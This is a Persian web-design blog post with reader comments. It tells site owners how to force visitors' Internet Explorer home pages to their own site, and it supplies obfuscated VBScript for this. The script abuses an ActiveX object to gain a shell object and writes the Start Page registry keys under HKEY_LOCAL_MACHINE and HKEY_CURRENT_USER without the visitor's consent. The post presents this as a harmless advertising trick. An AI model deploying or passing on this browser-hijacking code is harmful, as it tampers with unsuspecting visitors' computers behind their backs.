• homepage
  • sitmap
  • contact
yahoo "به روزها دل مبند،روزها به فصل که می‌رسند،رنگ عوض می‌کنند. با شب بمان،شب همیشه یک رنگ است."
امروز: جمعه, ۵ اردیبهشت ۱۳۹۳ - ساعت: ۱۴:۵۵ - Today: Friday, 25th April 2014 - 06:55 AM
آموزش طراحی صفحات وب در 10 دقیقه
وردپرس

پایگاه اینترنتی یک وب

شاید تو بعضی از سایت ها رفته باشید و دیده باشید که Home Page شما به آدرس اون سایت تغییر یافته و از این که این کار به صورت اتوماتیک و بدون اطلاع شما در سیستم شما رخ داده متعجب شده باشید . خوب این گونه سایت ها از یک کد ساده استفاده میکنند که هنگامی که کاربری به سایت و یا وبلاگ آنها مراجعه کند بدون اینکه از آنها سوالی کند به صورت اتوماتیک صفحه خانگی شخص مراجعه کننده را به آدرس مورد نظر تغییر میدهند که در نوع خود نوعی تبلیغات است. شاید شما هم بخواهید چنین مزیتی در سایت و یا وبلاگ خود داشته باشید برای این کار در وبلاگها کافیست به بخش ویرایش قالب رفته و کد زیر را در ابتدای آن اضافه نمونه و روی ویرایش قالب یا ذخیره کلیک کنند در سایت ها هم همین گونه هست با تنها تفاوتی که باید کد صفحه اصلی را باز نموده و کد زیر را در ابتدای آن اضافه کنند.

نکته : دوستان برای اینکه سایت شما در Home Page ویا صفحه خانگی شخص بازدید کننده به صورت اتوماتیک ذخیره شود آدرس کامل سایت خود را در قسمت ( آدرس سایت شما ) در کد مورد نظر قرار دهید سپس کد را در قالب خود استفاده کنید .

 

<!-- Start Code By www.YekWeb.com --><br />
	<script language=vbscript><br />
	dim a<br />
	Set df = document.createElement("object")<br />
	df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "<br />
	set reg = df.createobject("wscript.shell","")<br />
	hr="092083079070084087065082069092077105099114111115111102116092073110116101114110101116032069120112108111114101114092077097105110092083116097114116032080097103101"<br />
	re1="072075069089095076079067065076095077065067072073078069"<br />
	re2="072075069089095067085082082069078084095085083069082"<br />
	re3="120115120045118098115046109105104097110098108111103046099111109"<br />
	For a = 1 To Len(hr) Step 3<br />
	hr2=hr2 & chr(mid(hr,a,3))<br />
	next<br />
	For a = 1 To Len(re1) Step 3<br />
	re1_b=re1_b & chr(mid(re1,a,3))<br />
	next<br />
	For a = 1 To Len(re2) Step 3<br />
	re2_b=re2_b & chr(mid(re2,a,3))<br />
	next<br />
	reg.regwrite re1_b & hr2,"http://آدرس سایت شما"<br />
	reg.regwrite re2_b & hr2,"http://آدرس سایت شما"<br />
	</script><br />
	<!-- End Code By www.YekWeb.com -->



درباره‌ي نويسنده

نوشته شده توسط « »

چیز زیادی از خودم در طول این سال ها نمانده … آنچه مانده تقدیم تو باد !

پیشنهاد می‌کنیم از مطالب زیر هم دیدن نمایید:

رامین ISLAMIC REPUBLIC OF IRAN Internet Explorer Windows
نوع: دیدگاه
تاریخ: ۱۶ام بهمن ۱۳۸۹ @ ۶:۰۵ ق٫ظ

سلام این کد برای موزیلا جواب نمی ده


پریسا Mozilla Firefox Windows
نوع: دیدگاه
تاریخ: ۱۷ام مهر ۱۳۹۲ @ ۴:۱۷ ب٫ظ

عالی بود خیلی ممنون من دنبال همین بودم موفق باشید :-x


۸-| p-: o:-) l-) i-) b-) >:p >:) >-) =)) =(( ;;) ;-) :x :> :-| :-x :-w :-ss :-s :-p :-l :-a :-D :-: :-/ :-* :-) :-( :- :)) :) /:) (-: (%)

قبل از ارسال نظر:


  • توجه کنید که نظرتان در ارتباط با همین مطلب باشد. در غیر اینصورت می‌توانید از فرم تماس استفاده نمایید.
  • نظراتی که با کلمات کلیدی ثبت شوند و یا حاوی الفاظ زشت، تبلیغاتی، سیاسی و یا توهین به اشخاص باشند، منتشر نخواهند شد.
  • در فرم نظرات می‌توانید از برخی کدهای ساده HTML استفاده نمایید.
  • لطفاً فینگلیش ننویسید!